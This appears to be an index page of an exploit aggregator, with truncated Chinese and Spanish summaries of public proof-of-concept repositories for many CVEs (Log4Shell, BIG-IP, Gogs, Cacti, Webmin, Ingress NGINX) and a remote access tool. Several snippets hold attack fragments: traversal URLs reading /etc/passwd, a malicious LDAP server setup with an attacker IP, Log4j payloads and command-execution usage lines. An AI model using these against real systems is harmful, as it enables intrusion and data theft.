CVE-2023-40355

🚨 Comprobador de CVE-2023-40355 Bienvenido al Comprobador de CVE-2023-40355! Este script de Python está diseñado para probar la vulnerabilidad CVE-2023-40355 en aplicaciones web. 📋 Descripción Vulnerabilidad de Cross Site Scripting XSS en Axigen versiones 10.3.3.0 anteriores a 10.3.3.59, 10.4.0...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387：OpenSSH 中的严重远程代码执行漏洞 在数字安全至关重要的时代，OpenSSH 中一个被标识为 CVE-2024-6387 的新漏洞引起了全球系统管理员和安全专业人士的关注。这个名为 "regreSSHion" 的严重安全缺陷允许远程代码执行 RCE，并对易受攻击系统的完整性构成重大威胁。...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

CVE-2018-18925

CVE-2018-18925 利用 CVE-2018-18925 对 Git 自托管工具 Gogs 进行远程代码执行。 Gogs 基于 Macaron 框架。其用于管理会话的系统与 PHP 非常相似。Cookie 中的会话标识符映射到文件系统上的一个文件。当 Web 服务器收到带有会话标识符（作为 Cookie）的请求时，它会在文件系统上查找该文件。 该漏洞是在检索文件系统上用于会话的文件时存在简单的目录遍历。例如，您可以将 ilikegogits Cookie 设置为 ../../../../../../etc/passwd，从服务器获取错误信息。 利用方法：...

CVE-2023-33733

CVE-2023-33733 Reportlab 库 - 远程代码执行...

CVE-2024-4577

La herramienta de explotación más rápida para CVE-2024-4577 Descripción: Ejecución remota de código en PHP CGI La herramienta de explotación CVE-2024-4577 exploit.py es un script de Python diseñado para explotar una vulnerabilidad específica de los servidores web CVE-2024-4577. Basándose en el...

CVE-2020-12077

CVE-2020-12077 MapPress Maps Pro "...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 ¿Cómo ejecutarlo? root@kitploit: php log4j.php https://1337.com Requisitos PHP CURL PAYLOAD DNS LOG Collaborator de Burpsuite o usa dnslog.cn Lista de Payloads root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId...

Apollo

Apollo 一个用 Python 编写的简单、轻量级的远程访问工具 Apollo 是一个跨平台（Windows、Linux、FreeBSD 和 MacOS）的远程访问工具，适用于 Python 3.4+。其功能目前非常基础，但允许在后期利用阶段执行远程代码，并获取客户端系统的信息，将其报告回命令与控制服务器。 功能 能够同时控制多个客户端 跨平台（Windows、Linux、FreeBSD 和 macOS） 使用 AES-256 加密的 C2 通信，并带有 D-H 密钥交换 接受多个客户端的连接 远程命令执行 标准 Linux/Unix 工具（cat、ls、pwd、unzip、wget...

CVE-2020-5902

CVE-2020-5902 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI，也称为配置实用程序）在未公开的页面上存在远程代码执行（RCE）漏洞。 概念验证 root@kitploit: https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd root@kitploit:...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template 关于CVE-2024-25600的Nuclei模板和PoC信息 描述 📝 WordPress的Bricks主题在所有版本（包括1.9.6）中存在远程代码执行漏洞。这使得未经身份验证的攻击者能够在服务器上执行代码。 此模板 🛠️ 旨在使用nuclei检测Bricks Builder插件中发现的CVE-2024-25600漏洞 🕳️。该漏洞允许对受影响的网站进行未经身份验证的远程代码执行 💻。 概念验证（PoC） 📝...

CVE-2022-26134

pip3 install -r requirements.txt 使用: python3 exp.py url "cmd" 示例: python3 exp.py http://192.168.1.1/ whoami...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 Uso: python3 cve-2024-29895.py -u https://target.com/ -c id Afecta a las versiones de Cacti 1.3.X en compilaciones DEV donde cmdrealtime.php está presente y POLLERID está habilitado. La inyección de comandos es posible a través de este endpoint, solicitando por GET con ...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - 文件管理器权限利用 用于测试此PoC的易受攻击应用程序可在此处找到：here，以Docker镜像形式提供。 前提条件： Python3 Requests module 描述 漏洞 不正确的访问控制导致远程代码执行 安全用户（低权限用户）可以访问文件管理器模块，而该模块默认可被限制访问。 利用载荷 利用不正确的访问控制漏洞，将cgi文件上传到Webmin服务器。 阶段1（身份验证） 使用安全/低权限用户进行身份验证并登录服务器。 阶段2（将文件下载到服务器）...

CVE-2025-49113

CVE-2025-49113 RCE 漏洞利用 此漏洞利用中用户名/密码认证的方法分为 4 步 代码有点凌乱。...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524：Apache Superset 身份验证绕过与远程代码执行 Apache Superset 是一款广泛使用的开源数据可视化与探索工具，已被发现存在可能导致身份验证绕过和远程代码执行（RCE）的安全弱点。这些漏洞可能使恶意行为者获取目标服务器的管理员权限，从而收集用户凭据并可能危及数据安全。 具体的安全问题是一个不安全的默认配置漏洞，编号为 CVE-2023-27524。 根本原因在于安装时设置了可预测的 Flask 密钥，影响了大量暴露在外的 Apache Superset 实例。尽管已采取了一些缓解措施，但对于尚未更新配置的用户而言，此漏洞仍然是严重的隐患...

CVE-2025-55579

CVE-2025-55579 - SolidInvoice 税率功能中的存储型跨站脚本（XSS） 概述 SolidInvoice 的税率功能存在存储型跨站脚本（XSS）漏洞。已认证的攻击者可以向应用程序注入任意 JavaScript，并随后在用户的浏览器中执行。 受影响版本 受影响版本： 2.3.7 已修复版本： 2.3.8 影响 利用该漏洞，恶意用户可在应用程序中存储任意 JavaScript，并在查看 税率 页面的其他已认证用户上下文中执行。如果应用程序部署在多用户环境中（例如有多个管理员），则可能导致： 会话劫持 凭据或令牌窃取 钓鱼或社会工程攻击 以其他用户身份执行任意操作 概念...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 macOS 版 Notion v.3.1.0 中的一个问题允许远程攻击者通过 RunAsNode 和 enableNodeClilnspectArguments 组件执行任意代码 存在一个旨在自动化搜索 electron 漏洞的工具：https://github.com/r3ggi/electroniz3r 使用此工具，我们可以检查 App 是否存在漏洞： 验证后，我们可以注入代码并获得一个 shell 现在，享受你的 Shell：...

IngressNightmare-PoC

针对 Ingress NGINX - IngressNightmare 的漏洞利用 本项目提供了一个漏洞利用工具，针对 Kubernetes 中的 Ingress NGINX Controller 的严重未认证远程代码执行（RCE）漏洞，这些漏洞统称为 IngressNightmare。（研究来自 Wiz） 在原始研究中，Wiz 团队没有提供 PoC 或可用的漏洞利用，因此我们决定自行创建并分享给社区。 概述 Ingress NGINX Controller 是 Kubernetes...

CVE-2024-27954

⚠️ CVE-2024-27954 💀 Herramientas Automáticas de Explotación de Ejecución Remota de Código | Por GhostSec 💀 📝 Descripción Limitación incorrecta de una ruta de acceso a un directorio restringido vulnerabilidad de 'Path Traversal' en WP Automatic Automatic permite salto de ruta 'Path Traversal' y...